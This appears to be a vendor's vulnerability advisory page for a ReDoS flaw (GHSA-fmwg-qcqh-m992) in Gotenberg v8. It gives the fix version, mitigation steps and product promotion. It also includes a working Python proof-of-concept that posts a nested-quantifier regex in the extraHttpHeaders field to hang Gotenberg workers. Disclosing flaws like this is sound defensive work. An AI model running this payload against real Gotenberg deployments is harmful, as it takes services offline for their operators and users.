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GHSA-fmwg-qcqh-m992

Fix: gotenberg/gotenberg@cfb48d9

GHSA-fmwg-qcqh-m992 is a CWE-1333 vulnerability in github.com/gotenberg/gotenberg/v8. O3 Security confirms whether GHSA-fmwg-qcqh-m992 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Gotenberg Vulnerable to ReDoS via extraHttpHeaders scope feature

Also known asCVE-2026-35458GO-2026-5372
Published
Apr 7, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Real-World Exposure

1 pkg affected
🐹github.com/gotenberg/gotenberg/v8

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Gotenberg uses dlclark/regexp2 to compile user-supplied scope patterns without setting a proper timeout. Users with access to features using this logic can hang workers indefinitely.

Details

Gotenberg uses dlclark/regexp2 to compile user-supplied scope patterns (gotenberg/pkg/modules/chromium/routes.go:200) with no MatchTimeout set, therefore using the default of math.MaxInt64 = "forever".

For example, any user with access to the endpoint /forms/chromium/screenshot/url can add a crafted scope pattern to the extraHttpHeaders form field using a nested quantifiers that causes infinite backtracking, hanging the Gotenberg worker indefinitely.

See the dlclark/regexp2 README.md for further considerations.

Tested on the latest container version gotenberg/gotenberg:8.29.1

PoC

The following Python script uses the /forms/chromium/screenshot/url endpoint, testing for differences in responses times between simple and malicious regexes.

#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.12"
# dependencies = [
#    "requests",
# ]
# ///
import json
import time
import requests

HOST = "localhost:3000"
# HOST = "gotenberg.local:3000"

def send_request(host: str, headers_dict: dict, label: str, timeout: int = 30):
    """Send a screenshot request to Gotenberg and measure response time."""
    url = f"http://{host}/forms/chromium/screenshot/url"
    print(f"\n[*] {label}")
    print(f"    extraHttpHeaders: {json.dumps(headers_dict)}")

    start = time.time()
    try:
        r = requests.post(
            url,
            data={
                "url": "http://api.service:3000/snapshot/",
                "extraHttpHeaders": json.dumps(headers_dict),
            },
            files={"a": "b"},
            timeout=timeout,
        )
        elapsed = time.time() - start
        print(f"    Status: {r.status_code}, Size: {len(r.content)}, Time: {elapsed:.2f}s")
    except requests.exceptions.Timeout:
        elapsed = time.time() - start
        print(f"    TIMEOUT after {elapsed:.2f}s — Gotenberg worker is hung (ReDoS confirmed)")
    except requests.exceptions.ConnectionError as e:
        elapsed = time.time() - start
        print(f"    CONNECTION ERROR after {elapsed:.2f}s: {e}")


def main():
    # --- Test 1: Baseline ---
    send_request(HOST, {"X-Test": "baseline"}, "Baseline: no scope")

    # --- Test 2: Simple scope ---
    send_request(HOST, {"X-Test": "value; scope=.*"}, "Simple scope: '.*'")

    # --- Test 3: ReDoS scope ---
    # Classic evil pattern: nested quantifiers on overlapping character class.
    evil_pattern = r"([a-zA-Z0-9.:/_]+)+\!"
    send_request(
        HOST,
        {"X-Test": f"value; scope={evil_pattern}"},
        f"ReDoS scope: '{evil_pattern}'",
        timeout=15,
    )


if __name__ == "__main__":
    main()

Impact

This is a ReDoS vulnerability which only impacts the availability of the service and/or server on which gotenberg is running. All instances where attackers can reach the /forms/chromium/screenshot/url endpoint specifing the extraHttpHeaders field are affected.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/gotenberg/gotenberg/v8all versions8.30.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/gotenberg/gotenberg/v8 to 8.30.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fmwg-qcqh-m992 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-fmwg-qcqh-m992 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-fmwg-qcqh-m992. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Gotenberg uses `dlclark/regexp2` to compile user-supplied scope patterns without setting a proper timeout. Users with access to features using this logic can hang workers indefinitely. ### Details Gotenberg uses `dlclark/regexp2` to compile user-supplied scope patterns (gotenberg/pkg/modules/chromium/routes.go:200) with no MatchTimeout set, therefore using the default of math.MaxInt64 = "forever". For example, any user with access to the endpoint `/forms/chromium/screenshot/url` can add a crafted scope pattern to the `extraHttpHeaders` form field using a nested quantifiers that
O3 Security · Impact-Aware SCA

Is GHSA-fmwg-qcqh-m992 in your dependencies?

O3 detects GHSA-fmwg-qcqh-m992 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.